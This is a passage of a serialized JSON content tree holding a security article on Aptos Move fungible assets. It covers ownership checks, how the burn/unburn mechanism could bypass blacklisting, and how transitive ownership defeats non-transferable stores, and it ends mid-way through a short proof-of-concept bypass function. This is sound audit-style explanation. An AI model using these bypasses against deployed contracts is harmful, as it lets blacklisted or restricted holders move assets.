295},{"style":274},[65296],{"type":29,"value":753},{"type":23,"tag":230,"props":65298,"children":65299},{"class":232,"line":252},[65300,65304,65308],{"type":23,"tag":230,"props":65301,"children":65302},{"style":274},[65303],{"type":29,"value":64493},{"type":23,"tag":230,"props":65305,"children":65306},{"style":268},[65307],{"type":29,"value":11922},{"type":23,"tag":230,"props":65309,"children":65310},{"style":274},[65311],{"type":29,"value":14103},{"type":23,"tag":230,"props":65313,"children":65314},{"class":232,"line":280},[65315],{"type":23,"tag":230,"props":65316,"children":65317},{"style":274},[65318],{"type":29,"value":975},{"type":23,"tag":32,"props":65320,"children":65321},{},[65322,65324,65329,65331,65337,65339,65344],{"type":29,"value":65323},"In addition, such \"deleted\" ",{"type":23,"tag":71,"props":65325,"children":65327},{"className":65326},[],[65328],{"type":29,"value":63851},{"type":29,"value":65330}," objects remain at least partially operable. For instance, ",{"type":23,"tag":71,"props":65332,"children":65334},{"className":65333},[],[65335],{"type":29,"value":65336},"fungible_asset::deposit",{"type":29,"value":65338}," does not check the ",{"type":23,"tag":71,"props":65340,"children":65342},{"className":65341},[],[65343],{"type":29,"value":50623},{"type":29,"value":65345}," existence.",{"type":23,"tag":59,"props":65347,"children":65349},{"id":65348},"ownership",[65350],{"type":29,"value":65351},"Ownership",{"type":23,"tag":32,"props":65353,"children":65354},{},[65355,65357,65362,65364,65370,65372,65377],{"type":29,"value":65356},"Each object has an owner. Fungible assets rely on the ",{"type":23,"tag":71,"props":65358,"children":65360},{"className":65359},[],[65361],{"type":29,"value":50623},{"type":29,"value":65363}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":23,"tag":71,"props":65365,"children":65367},{"className":65366},[],[65368],{"type":29,"value":65369},"object::owns",{"type":29,"value":65371}," to confirm ownership of the ",{"type":23,"tag":71,"props":65373,"children":65375},{"className":65374},[],[65376],{"type":29,"value":63851},{"type":29,"value":51949},{"type":23,"tag":220,"props":65379,"children":65381},{"className":5320,"code":65380,"language":5319,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[65382],{"type":23,"tag":71,"props":65383,"children":65384},{"__ignoreMap":7},[65385,65433,65457,65484,65504,65532,65600,65615],{"type":23,"tag":230,"props":65386,"children":65387},{"class":232,"line":233},[65388,65392,65396,65400,65404,65408,65413,65417,65421,65425,65429],{"type":23,"tag":230,"props":65389,"children":65390},{"style":294},[65391],{"type":29,"value":63450},{"type":23,"tag":230,"props":65393,"children":65394},{"style":274},[65395],{"type":29,"value":302},{"type":23,"tag":230,"props":65397,"children":65398},{"style":262},[65399],{"type":29,"value":9434},{"type":23,"tag":230,"props":65401,"children":65402},{"style":274},[65403],{"type":29,"value":703},{"type":23,"tag":230,"props":65405,"children":65406},{"style":262},[65407],{"type":29,"value":9443},{"type":23,"tag":230,"props":65409,"children":65410},{"style":262},[65411],{"type":29,"value":65412}," withdraw_sanity_check",{"type":23,"tag":230,"props":65414,"children":65415},{"style":274},[65416],{"type":29,"value":8143},{"type":23,"tag":230,"props":65418,"children":65419},{"style":676},[65420],{"type":29,"value":8324},{"type":23,"tag":230,"props":65422,"children":65423},{"style":268},[65424],{"type":29,"value":218},{"type":23,"tag":230,"props":65426,"children":65427},{"style":262},[65428],{"type":29,"value":8268},{"type":23,"tag":230,"props":65430,"children":65431},{"style":274},[65432],{"type":29,"value":8925},{"type":23,"tag":230,"props":65434,"children":65435},{"class":232,"line":243},[65436,65441,65445,65449,65453],{"type":23,"tag":230,"props":65437,"children":65438},{"style":262},[65439],{"type":29,"value":65440},"    owner",{"type":23,"tag":230,"props":65442,"children":65443},{"style":268},[65444],{"type":29,"value":218},{"type":23,"tag":230,"props":65446,"children":65447},{"style":268},[65448],{"type":29,"value":9477},{"type":23,"tag":230,"props":65450,"children":65451},{"style":262},[65452],{"type":29,"value":9482},{"type":23,"tag":230,"props":65454,"children":65455},{"style":274},[65456],{"type":29,"value":388},{"type":23,"tag":230,"props":65458,"children":65459},{"class":232,"line":252},[65460,65464,65468,65472,65476,65480],{"type":23,"tag":230,"props":65461,"children":65462},{"style":262},[65463],{"type":29,"value":31721},{"type":23,"tag":230,"props":65465,"children":65466},{"style":268},[65467],{"type":29,"value":218},{"type":23,"tag":230,"props":65469,"children":65470},{"style":676},[65471],{"type":29,"value":63336},{"type":23,"tag":230,"props":65473,"children":65474},{"style":274},[65475],{"type":29,"value":8143},{"type":23,"tag":230,"props":65477,"children":65478},{"style":676},[65479],{"type":29,"value":8324},{"type":23,"tag":230,"props":65481,"children":65482},{"style":274},[65483],{"type":29,"value":8475},{"type":23,"tag":230,"props":65485,"children":65486},{"class":232,"line":280},[65487,65492,65496,65500],{"type":23,"tag":230,"props":65488,"children":65489},{"style":262},[65490],{"type":29,"value":65491},"    abort_on_dispatch",{"type":23,"tag":230,"props":65493,"children":65494},{"style":268},[65495],{"type":29,"value":218},{"type":23,"tag":230,"props":65497,"children":65498},{"style":676},[65499],{"type":29,"value":14381},{"type":23,"tag":230,"props":65501,"children":65502},{"style":274},[65503],{"type":29,"value":388},{"type":23,"tag":230,"props":65505,"children":65506},{"class":232,"line":334},[65507,65511,65515,65519,65523,65528],{"type":23,"tag":230,"props":65508,"children":65509},{"style":274},[65510],{"type":29,"value":703},{"type":23,"tag":230,"props":65512,"children":65513},{"style":262},[65514],{"type":29,"value":8681},{"type":23,"tag":230,"props":65516,"children":65517},{"style":676},[65518],{"type":29,"value":63871},{"type":23,"tag":230,"props":65520,"children":65521},{"style":274},[65522],{"type":29,"value":684},{"type":23,"tag":230,"props":65524,"children":65525},{"style":676},[65526],{"type":29,"value":65527},"DispatchFunctionStore",{"type":23,"tag":230,"props":65529,"children":65530},{"style":274},[65531],{"type":29,"value":277},{"type":23,"tag":230,"props":65533,"children":65534},{"class":232,"line":371},[65535,65539,65544,65548,65553,65557,65561,65565,65569,65573,65577,65581,65586,65590,65595],{"type":23,"tag":230,"props":65536,"children":65537},{"style":294},[65538],{"type":29,"value":64119},{"type":23,"tag":230,"props":65540,"children":65541},{"style":274},[65542],{"type":29,"value":65543},"(object",{"type":23,"tag":230,"props":65545,"children":65546},{"style":268},[65547],{"type":29,"value":5818},{"type":23,"tag":230,"props":65549,"children":65550},{"style":294},[65551],{"type":29,"value":65552},"owns",{"type":23,"tag":230,"props":65554,"children":65555},{"style":274},[65556],{"type":29,"value":302},{"type":23,"tag":230,"props":65558,"children":65559},{"style":262},[65560],{"type":29,"value":8277},{"type":23,"tag":230,"props":65562,"children":65563},{"style":274},[65564],{"type":29,"value":15265},{"type":23,"tag":230,"props":65566,"children":65567},{"style":268},[65568],{"type":29,"value":5818},{"type":23,"tag":230,"props":65570,"children":65571},{"style":294},[65572],{"type":29,"value":9545},{"type":23,"tag":230,"props":65574,"children":65575},{"style":274},[65576],{"type":29,"value":302},{"type":23,"tag":230,"props":65578,"children":65579},{"style":262},[65580],{"type":29,"value":17934},{"type":23,"tag":230,"props":65582,"children":65583},{"style":274},[65584],{"type":29,"value":65585},")), error",{"type":23,"tag":230,"props":65587,"children":65588},{"style":268},[65589],{"type":29,"value":5818},{"type":23,"tag":230,"props":65591,"children":65592},{"style":294},[65593],{"type":29,"value":65594},"permission_denied",{"type":23,"tag":230,"props":65596,"children":65597},{"style":274},[65598],{"type":29,"value":65599},"(ENOT_STORE_OWNER));\n",{"type":23,"tag":230,"props":65601,"children":65602},{"class":232,"line":391},[65603,65607,65611],{"type":23,"tag":230,"props":65604,"children":65605},{"style":274},[65606],{"type":29,"value":64493},{"type":23,"tag":230,"props":65608,"children":65609},{"style":268},[65610],{"type":29,"value":11922},{"type":23,"tag":230,"props":65612,"children":65613},{"style":274},[65614],{"type":29,"value":14103},{"type":23,"tag":230,"props":65616,"children":65617},{"class":232,"line":400},[65618],{"type":23,"tag":230,"props":65619,"children":65620},{"style":274},[65621],{"type":29,"value":975},{"type":23,"tag":32,"props":65623,"children":65624},{},[65625,65627,65632,65634,65640,65642,65648],{"type":29,"value":65626},"The thing to note is that defining ownership with ",{"type":23,"tag":71,"props":65628,"children":65630},{"className":65629},[],[65631],{"type":29,"value":65369},{"type":29,"value":65633}," can be tricky. The ",{"type":23,"tag":71,"props":65635,"children":65637},{"className":65636},[],[65638],{"type":29,"value":65639},"burn",{"type":29,"value":65641}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":23,"tag":71,"props":65643,"children":65645},{"className":65644},[],[65646],{"type":29,"value":65647},"BURN_ADDRESS",{"type":29,"value":65649}," while bypassing transfer restrictions:",{"type":23,"tag":220,"props":65651,"children":65653},{"className":5320,"code":65652,"language":5319,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[65654],{"type":23,"tag":71,"props":65655,"children":65656},{"__ignoreMap":7},[65657,65754,65795,65845,65874,65924,65945],{"type":23,"tag":230,"props":65658,"children":65659},{"class":232,"line":233},[65660,65664,65668,65672,65677,65681,65685,65689,65693,65697,65701,65705,65709,65713,65717,65721,65725,65729,65733,65737,65741,65745,65750],{"type":23,"tag":230,"props":65661,"children":65662},{"style":262},[65663],{"type":29,"value":63450},{"type":23,"tag":230,"props":65665,"children":65666},{"style":262},[65667],{"type":29,"value":64417},{"type":23,"tag":230,"props":65669,"children":65670},{"style":262},[65671],{"type":29,"value":8544},{"type":23,"tag":230,"props":65673,"children":65674},{"style":262},[65675],{"type":29,"value":65676}," burn",{"type":23,"tag":230,"props":65678,"children":65679},{"style":274},[65680],{"type":29,"value":8143},{"type":23,"tag":230,"props":65682,"children":65683},{"style":676},[65684],{"type":29,"value":8324},{"type":23,"tag":230,"props":65686,"children":65687},{"style":268},[65688],{"type":29,"value":218},{"type":23,"tag":230,"props":65690,"children":65691},{"style":262},[65692],{"type":29,"value":8268},{"type":23,"tag":230,"props":65694,"children":65695},{"style":274},[65696],{"type":29,"value":9947},{"type":23,"tag":230,"props":65698,"children":65699},{"style":262},[65700],{"type":29,"value":17934},{"type":23,"tag":230,"props":65702,"children":65703},{"style":268},[65704],{"type":29,"value":218},{"type":23,"tag":230,"props":65706,"children":65707},{"style":268},[65708],{"type":29,"value":9477},{"type":23,"tag":230,"props":65710,"children":65711},{"style":262},[65712],{"type":29,"value":9482},{"type":23,"tag":230,"props":65714,"children":65715},{"style":274},[65716],{"type":29,"value":684},{"type":23,"tag":230,"props":65718,"children":65719},{"style":262},[65720],{"type":29,"value":64685},{"type":23,"tag":230,"props":65722,"children":65723},{"style":268},[65724],{"type":29,"value":218},{"type":23,"tag":230,"props":65726,"children":65727},{"style":676},[65728],{"type":29,"value":63336},{"type":23,"tag":230,"props":65730,"children":65731},{"style":274},[65732],{"type":29,"value":8143},{"type":23,"tag":230,"props":65734,"children":65735},{"style":676},[65736],{"type":29,"value":8324},{"type":23,"tag":230,"props":65738,"children":65739},{"style":274},[65740],{"type":29,"value":22761},{"type":23,"tag":230,"props":65742,"children":65743},{"style":262},[65744],{"type":29,"value":8681},{"type":23,"tag":230,"props":65746,"children":65747},{"style":676},[65748],{"type":29,"value":65749}," ObjectCore",{"type":23,"tag":230,"props":65751,"children":65752},{"style":274},[65753],{"type":29,"value":277},{"type":23,"tag":230,"props":65755,"children":65756},{"class":232,"line":243},[65757,65761,65766,65770,65775,65779,65783,65787,65791],{"type":23,"tag":230,"props":65758,"children":65759},{"style":256},[65760],{"type":29,"value":5340},{"type":23,"tag":230,"props":65762,"children":65763},{"style":262},[65764],{"type":29,"value":65765}," original_owner",{"type":23,"tag":230,"props":65767,"children":65768},{"style":268},[65769],{"type":29,"value":271},{"type":23,"tag":230,"props":65771,"children":65772},{"style":274},[65773],{"type":29,"value":65774}," signer",{"type":23,"tag":230,"props":65776,"children":65777},{"style":268},[65778],{"type":29,"value":5818},{"type":23,"tag":230,"props":65780,"children":65781},{"style":294},[65782],{"type":29,"value":9545},{"type":23,"tag":230,"props":65784,"children":65785},{"style":274},[65786],{"type":29,"value":302},{"type":23,"tag":230,"props":65788,"children":65789},{"style":262},[65790],{"type":29,"value":17934},{"type":23,"tag":230,"props":65792,"children":65793},{"style":274},[65794],{"type":29,"value":753},{"type":23,"tag":230,"props":65796,"children":65797},{"class":232,"line":252},[65798,65802,65806,65811,65815,65819,65823,65828,65832,65836,65840],{"type":23,"tag":230,"props":65799,"children":65800},{"style":294},[65801],{"type":29,"value":64119},{"type":23,"tag":230,"props":65803,"children":65804},{"style":274},[65805],{"type":29,"value":302},{"type":23,"tag":230,"props":65807,"children":65808},{"style":294},[65809],{"type":29,"value":65810},"is_owner",{"type":23,"tag":230,"props":65812,"children":65813},{"style":274},[65814],{"type":29,"value":302},{"type":23,"tag":230,"props":65816,"children":65817},{"style":262},[65818],{"type":29,"value":64685},{"type":23,"tag":230,"props":65820,"children":65821},{"style":274},[65822],{"type":29,"value":684},{"type":23,"tag":230,"props":65824,"children":65825},{"style":262},[65826],{"type":29,"value":65827},"original_owner",{"type":23,"tag":230,"props":65829,"children":65830},{"style":274},[65831],{"type":29,"value":64708},{"type":23,"tag":230,"props":65833,"children":65834},{"style":268},[65835],{"type":29,"value":5818},{"type":23,"tag":230,"props":65837,"children":65838},{"style":294},[65839],{"type":29,"value":65594},{"type":23,"tag":230,"props":65841,"children":65842},{"style":274},[65843],{"type":29,"value":65844},"(ENOT_OBJECT_OWNER));\n",{"type":23,"tag":230,"props":65846,"children":65847},{"class":232,"line":280},[65848,65852,65857,65861,65865,65869],{"type":23,"tag":230,"props":65849,"children":65850},{"style":256},[65851],{"type":29,"value":5340},{"type":23,"tag":230,"props":65853,"children":65854},{"style":262},[65855],{"type":29,"value":65856}," object_addr",{"type":23,"tag":230,"props":65858,"children":65859},{"style":268},[65860],{"type":29,"value":271},{"type":23,"tag":230,"props":65862,"children":65863},{"style":262},[65864],{"type":29,"value":64269},{"type":23,"tag":230,"props":65866,"children":65867},{"style":268},[65868],{"type":29,"value":312},{"type":23,"tag":230,"props":65870,"children":65871},{"style":274},[65872],{"type":29,"value":65873},"inner;\n",{"type":23,"tag":230,"props":65875,"children":65876},{"class":232,"line":334},[65877,65881,65885,65889,65894,65898,65903,65907,65912,65916,65920],{"type":23,"tag":230,"props":65878,"children":65879},{"style":294},[65880],{"type":29,"value":64872},{"type":23,"tag":230,"props":65882,"children":65883},{"style":274},[65884],{"type":29,"value":302},{"type":23,"tag":230,"props":65886,"children":65887},{"style":268},[65888],{"type":29,"value":5448},{"type":23,"tag":230,"props":65890,"children":65891},{"style":294},[65892],{"type":29,"value":65893},"create_signer",{"type":23,"tag":230,"props":65895,"children":65896},{"style":274},[65897],{"type":29,"value":302},{"type":23,"tag":230,"props":65899,"children":65900},{"style":262},[65901],{"type":29,"value":65902},"object_addr",{"type":23,"tag":230,"props":65904,"children":65905},{"style":274},[65906],{"type":29,"value":17502},{"type":23,"tag":230,"props":65908,"children":65909},{"style":676},[65910],{"type":29,"value":65911},"TombStone",{"type":23,"tag":230,"props":65913,"children":65914},{"style":274},[65915],{"type":29,"value":848},{"type":23,"tag":230,"props":65917,"children":65918},{"style":262},[65919],{"type":29,"value":65827},{"type":23,"tag":230,"props":65921,"children":65922},{"style":274},[65923],{"type":29,"value":3534},{"type":23,"tag":230,"props":65925,"children":65926},{"class":232,"line":371},[65927,65932,65936,65940],{"type":23,"tag":230,"props":65928,"children":65929},{"style":294},[65930],{"type":29,"value":65931},"    transfer_raw_inner",{"type":23,"tag":230,"props":65933,"children":65934},{"style":274},[65935],{"type":29,"value":302},{"type":23,"tag":230,"props":65937,"children":65938},{"style":262},[65939],{"type":29,"value":65902},{"type":23,"tag":230,"props":65941,"children":65942},{"style":274},[65943],{"type":29,"value":65944},", BURN_ADDRESS);\n",{"type":23,"tag":230,"props":65946,"children":65947},{"class":232,"line":391},[65948],{"type":23,"tag":230,"props":65949,"children":65950},{"style":274},[65951],{"type":29,"value":975},{"type":23,"tag":32,"props":65953,"children":65954},{},[65955,65961,65963,65968,65969,65976,65978,65983],{"type":23,"tag":71,"props":65956,"children":65958},{"className":65957},[],[65959],{"type":29,"value":65960},"unburn",{"type":29,"value":65962}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":23,"tag":71,"props":65964,"children":65966},{"className":65965},[],[65967],{"type":29,"value":65647},{"type":29,"value":20851},{"type":23,"tag":181,"props":65970,"children":65973},{"href":65971,"rel":65972},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[185],[65974],{"type":29,"value":65975},"AIP-99",{"type":29,"value":65977}," is a proposal to roll back the ",{"type":23,"tag":71,"props":65979,"children":65981},{"className":65980},[],[65982],{"type":29,"value":65639},{"type":29,"value":65984}," feature, but previously burned objects will remain restorable.",{"type":23,"tag":5272,"props":65986,"children":65987},{},[65988],{"type":23,"tag":32,"props":65989,"children":65990},{},[65991,65993,65997],{"type":29,"value":65992},"This ",{"type":23,"tag":230,"props":65994,"children":65995},{},[65996],{"type":29,"value":65975},{"type":29,"value":65998}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":23,"tag":32,"props":66000,"children":66001},{},[66002,66004,66010,66012,66017,66019,66024],{"type":29,"value":66003},"Another important thing is that ",{"type":23,"tag":71,"props":66005,"children":66007},{"className":66006},[],[66008],{"type":29,"value":66009},"fungible_asset::set_untransferable",{"type":29,"value":66011}," can be used to make all new ",{"type":23,"tag":71,"props":66013,"children":66015},{"className":66014},[],[66016],{"type":29,"value":64355},{"type":29,"value":66018}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":23,"tag":71,"props":66020,"children":66022},{"className":66021},[],[66023],{"type":29,"value":63851},{"type":29,"value":312},{"type":23,"tag":32,"props":66026,"children":66027},{},[66028,66030,66035,66037,66043,66045,66050,66052,66057],{"type":29,"value":66029},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":23,"tag":71,"props":66031,"children":66033},{"className":66032},[],[66034],{"type":29,"value":63851},{"type":29,"value":66036},", X can withdraw from that store. This is because ",{"type":23,"tag":71,"props":66038,"children":66040},{"className":66039},[],[66041],{"type":29,"value":66042},"fungible_asset::withdraw",{"type":29,"value":66044}," uses ",{"type":23,"tag":71,"props":66046,"children":66048},{"className":66047},[],[66049],{"type":29,"value":65369},{"type":29,"value":66051}," to verify both direct and indirect ownership of the ",{"type":23,"tag":71,"props":66053,"children":66055},{"className":66054},[],[66056],{"type":29,"value":63851},{"type":29,"value":51949},{"type":23,"tag":220,"props":66059,"children":66061},{"className":5320,"code":66060,"language":5319,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[66062],{"type":23,"tag":71,"props":66063,"children":66064},{"__ignoreMap":7},[66065,66126,66142,66172,66201,66216,66228,66258,66279,66286,66326,66351,66358],{"type":23,"tag":230,"props":66066,"children":66067},{"class":232,"line":233},[66068,66072,66077,66081,66085,66089,66093,66097,66102,66106,66110,66114,66118,66122],{"type":23,"tag":230,"props":66069,"children":66070},{"style":262},[66071],{"type":29,"value":9443},{"type":23,"tag":230,"props":66073,"children":66074},{"style":294},[66075],{"type":29,"value":66076}," verify_ungated_and_descendant",{"type":23,"tag":230,"props":66078,"children":66079},{"style":274},[66080],{"type":29,"value":302},{"type":23,"tag":230,"props":66082,"children":66083},{"style":262},[66084],{"type":29,"value":17934},{"type":23,"tag":230,"props":66086,"children":66087},{"style":268},[66088],{"type":29,"value":218},{"type":23,"tag":230,"props":66090,"children":66091},{"style":262},[66092],{"type":29,"value":8587},{"type":23,"tag":230,"props":66094,"children":66095},{"style":274},[66096],{"type":29,"value":684},{"type":23,"tag":230,"props":66098,"children":66099},{"style":262},[66100],{"type":29,"value":66101},"destination",{"type":23,"tag":230,"props":66103,"children":66104},{"style":268},[66105],{"type":29,"value":218},{"type":23,"tag":230,"props":66107,"children":66108},{"style":262},[66109],{"type":29,"value":8587},{"type":23,"tag":230,"props":66111,"children":66112},{"style":274},[66113],{"type":29,"value":703},{"type":23,"tag":230,"props":66115,"children":66116},{"style":262},[66117],{"type":29,"value":8681},{"type":23,"tag":230,"props":66119,"children":66120},{"style":676},[66121],{"type":29,"value":65749},{"type":23,"tag":230,"props":66123,"children":66124},{"style":274},[66125],{"type":29,"value":277},{"type":23,"tag":230,"props":66127,"children":66128},{"class":232,"line":243},[66129,66134,66138],{"type":23,"tag":230,"props":66130,"children":66131},{"style":274},[66132],{"type":29,"value":66133},"        [",{"type":23,"tag":230,"props":66135,"children":66136},{"style":268},[66137],{"type":29,"value":11922},{"type":23,"tag":230,"props":66139,"children":66140},{"style":274},[66141],{"type":29,"value":14103},{"type":23,"tag":230,"props":66143,"children":66144},{"class":232,"line":252},[66145,66150,66154,66158,66163,66168],{"type":23,"tag":230,"props":66146,"children":66147},{"style":866},[66148],{"type":29,"value":66149},"    while",{"type":23,"tag":230,"props":66151,"children":66152},{"style":274},[66153],{"type":29,"value":664},{"type":23,"tag":230,"props":66155,"children":66156},{"style":262},[66157],{"type":29,"value":17934},{"type":23,"tag":230,"props":66159,"children":66160},{"style":268},[66161],{"type":29,"value":66162}," !=",{"type":23,"tag":230,"props":66164,"children":66165},{"style":262},[66166],{"type":29,"value":66167}," current_address",{"type":23,"tag":230,"props":66169,"children":66170},{"style":274},[66171],{"type":29,"value":827},{"type":23,"tag":230,"props":66173,"children":66174},{"class":232,"line":280},[66175,66180,66184,66189,66193,66197],{"type":23,"tag":230,"props":66176,"children":66177},{"style":262},[66178],{"type":29,"value":66179},"        count",{"type":23,"tag":230,"props":66181,"children":66182},{"style":268},[66183],{"type":29,"value":271},{"type":23,"tag":230,"props":66185,"children":66186},{"style":262},[66187],{"type":29,"value":66188}," count",{"type":23,"tag":230,"props":66190,"children":66191},{"style":268},[66192],{"type":29,"value":11238},{"type":23,"tag":230,"props":66194,"children":66195},{"style":5149},[66196],{"type":29,"value":6861},{"type":23,"tag":230,"props":66198,"children":66199},{"style":274},[66200],{"type":29,"value":511},{"type":23,"tag":230,"props":66202,"children":66203},{"class":232,"line":334},[66204,66208,66212],{"type":23,"tag":230,"props":66205,"children":66206},{"style":274},[66207],{"type":29,"value":66133},{"type":23,"tag":230,"props":66209,"children":66210},{"style":268},[66211],{"type":29,"value":11922},{"type":23,"tag":230,"props":66213,"children":66214},{"style":274},[66215],{"type":29,"value":14103},{"type":23,"tag":230,"props":66217,"children":66218},{"class":232,"line":371},[66219,66224],{"type":23,"tag":230,"props":66220,"children":66221},{"style":294},[66222],{"type":29,"value":66223},"        assert!",{"type":23,"tag":230,"props":66225,"children":66226},{"style":274},[66227],{"type":29,"value":619},{"type":23,"tag":230,"props":66229,"children":66230},{"class":232,"line":391},[66231,66236,66240,66245,66249,66254],{"type":23,"tag":230,"props":66232,"children":66233},{"style":262},[66234],{"type":29,"value":66235},"            exists",{"type":23,"tag":230,"props":66237,"children":66238},{"style":274},[66239],{"type":29,"value":8143},{"type":23,"tag":230,"props":66241,"children":66242},{"style":676},[66243],{"type":29,"value":66244},"ObjectCore",{"type":23,"tag":230,"props":66246,"children":66247},{"style":274},[66248],{"type":29,"value":9947},{"type":23,"tag":230,"props":66250,"children":66251},{"style":262},[66252],{"type":29,"value":66253},"current_address",{"type":23,"tag":230,"props":66255,"children":66256},{"style":274},[66257],{"type":29,"value":331},{"type":23,"tag":230,"props":66259,"children":66260},{"class":232,"line":400},[66261,66266,66270,66274],{"type":23,"tag":230,"props":66262,"children":66263},{"style":274},[66264],{"type":29,"value":66265},"            error",{"type":23,"tag":230,"props":66267,"children":66268},{"style":268},[66269],{"type":29,"value":5818},{"type":23,"tag":230,"props":66271,"children":66272},{"style":294},[66273],{"type":29,"value":65594},{"type":23,"tag":230,"props":66275,"children":66276},{"style":274},[66277],{"type":29,"value":66278},"(ENOT_OBJECT_OWNER),\n",{"type":23,"tag":230,"props":66280,"children":66281},{"class":232,"line":444},[66282],{"type":23,"tag":230,"props":66283,"children":66284},{"style":274},[66285],{"type":29,"value":3635},{"type":23,"tag":230,"props":66287,"children":66288},{"class":232,"line":453},[66289,66293,66297,66301,66306,66310,66314,66318,66322],{"type":23,"tag":230,"props":66290,"children":66291},{"style":256},[66292],{"type":29,"value":5404},{"type":23,"tag":230,"props":66294,"children":66295},{"style":262},[66296],{"type":29,"value":64269},{"type":23,"tag":230,"props":66298,"children":66299},{"style":268},[66300],{"type":29,"value":271},{"type":23,"tag":230,"props":66302,"children":66303},{"style":262},[66304],{"type":29,"value":66305}," borrow_global",{"type":23,"tag":230,"props":66307,"children":66308},{"style":274},[66309],{"type":29,"value":8143},{"type":23,"tag":230,"props":66311,"children":66312},{"style":676},[66313],{"type":29,"value":66244},{"type":23,"tag":230,"props":66315,"children":66316},{"style":274},[66317],{"type":29,"value":9947},{"type":23,"tag":230,"props":66319,"children":66320},{"style":262},[66321],{"type":29,"value":66253},{"type":23,"tag":230,"props":66323,"children":66324},{"style":274},[66325],{"type":29,"value":753},{"type":23,"tag":230,"props":66327,"children":66328},{"class":232,"line":462},[66329,66334,66338,66342,66346],{"type":23,"tag":230,"props":66330,"children":66331},{"style":262},[66332],{"type":29,"value":66333},"        current_address",{"type":23,"tag":230,"props":66335,"children":66336},{"style":268},[66337],{"type":29,"value":271},{"type":23,"tag":230,"props":66339,"children":66340},{"style":262},[66341],{"type":29,"value":64269},{"type":23,"tag":230,"props":66343,"children":66344},{"style":268},[66345],{"type":29,"value":312},{"type":23,"tag":230,"props":66347,"children":66348},{"style":274},[66349],{"type":29,"value":66350},"owner;\n",{"type":23,"tag":230,"props":66352,"children":66353},{"class":232,"line":471},[66354],{"type":23,"tag":230,"props":66355,"children":66356},{"style":274},[66357],{"type":29,"value":3700},{"type":23,"tag":230,"props":66359,"children":66360},{"class":232,"line":500},[66361],{"type":23,"tag":230,"props":66362,"children":66363},{"style":274},[66364],{"type":29,"value":975},{"type":23,"tag":32,"props":66366,"children":66367},{},[66368,66370,66375],{"type":29,"value":66369},"This could allow for bypassing assumptions about ",{"type":23,"tag":71,"props":66371,"children":66373},{"className":66372},[],[66374],{"type":29,"value":63851},{"type":29,"value":66376}," true ownership and its non-transferability.",{"type":23,"tag":220,"props":66378,"children":66380},{"className":5320,"code":66379,"language":5319,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[66381],{"type":23,"tag":71,"props":66382,"children":66383},{"__ignoreMap":7},[66384,66442,66495,66539,66587,66594,66639,66647],{"type":23,"tag":230,"props":66385,"children":66386},{"class":232,"line":233},[66387,66391,66395,66400,66404,66409,66413,66417,66421,66425,66430,66434,66438],{"type":23,"tag":230,"props":66388,"children":66389},{"style":262},[66390],{"type":29,"value":63450},{"type":23,"tag":230,"props":66392,"children":66393},{"style":262},[66394],{"type":29,"value":8544},{"type":23,"tag":230,"props":66396,"children":66397},{"style":294},[66398],{"type":29,"value":66399}," untransferable_transfer",{"type":23,"tag":230,"props":66401,"children":66402},{"style":274},[66403],{"type":29,"value":302},{"type":23,"tag":230,"props":66405,"children":66406},{"style":262},[66407],{"type":29,"value":66408},"caller",{"type":23,"tag":230,"props":66410,"children":66411},{"style":268},[66412],{"type":29,"value":218},{"type":23,"tag":230,"props":66414,"children":66415},{"style":268},[66416],{"type":29,"value":9477},{"type":23,"tag":230,"props":66418,"children":66419},{"style":262},[66420],{"type":29,"value":9482},{"type":23,"tag":230,"props":66422,"children":66423},{"style":274},[66424],{"type":29,"value":684},{"type":23,"tag":230,"props":66426,"children":66427},{"style":262},[66428],{"type":29,"value":66429},"receipient",{"type":23,"tag":230,"props":66431,"children":66432},{"style":268},[66433],{"type":29,"value":218},{"type":23,"tag":230,"props":66435,"children":66436},{"style":262},[66437],{"type":29,"value":8587},{"type":23,"tag":230,"props":66439,"children":66440},{"style":274},[66441],{"type":29,"value":827},{"type":23,"tag":230,"props":66443,"children":66444},{"class":232,"line":243},[66445,66449,66454,66458,66462,66466,66471,66475,66479,66483,66487,66491],{"type":23,"tag":230,"props":66446,"children":66447},{"style":256},[66448],{"type":29,"value":5340},{"type":23,"tag":230,"props":66450,"children":66451},{"style":262},[66452],{"type":29,"value":66453}," 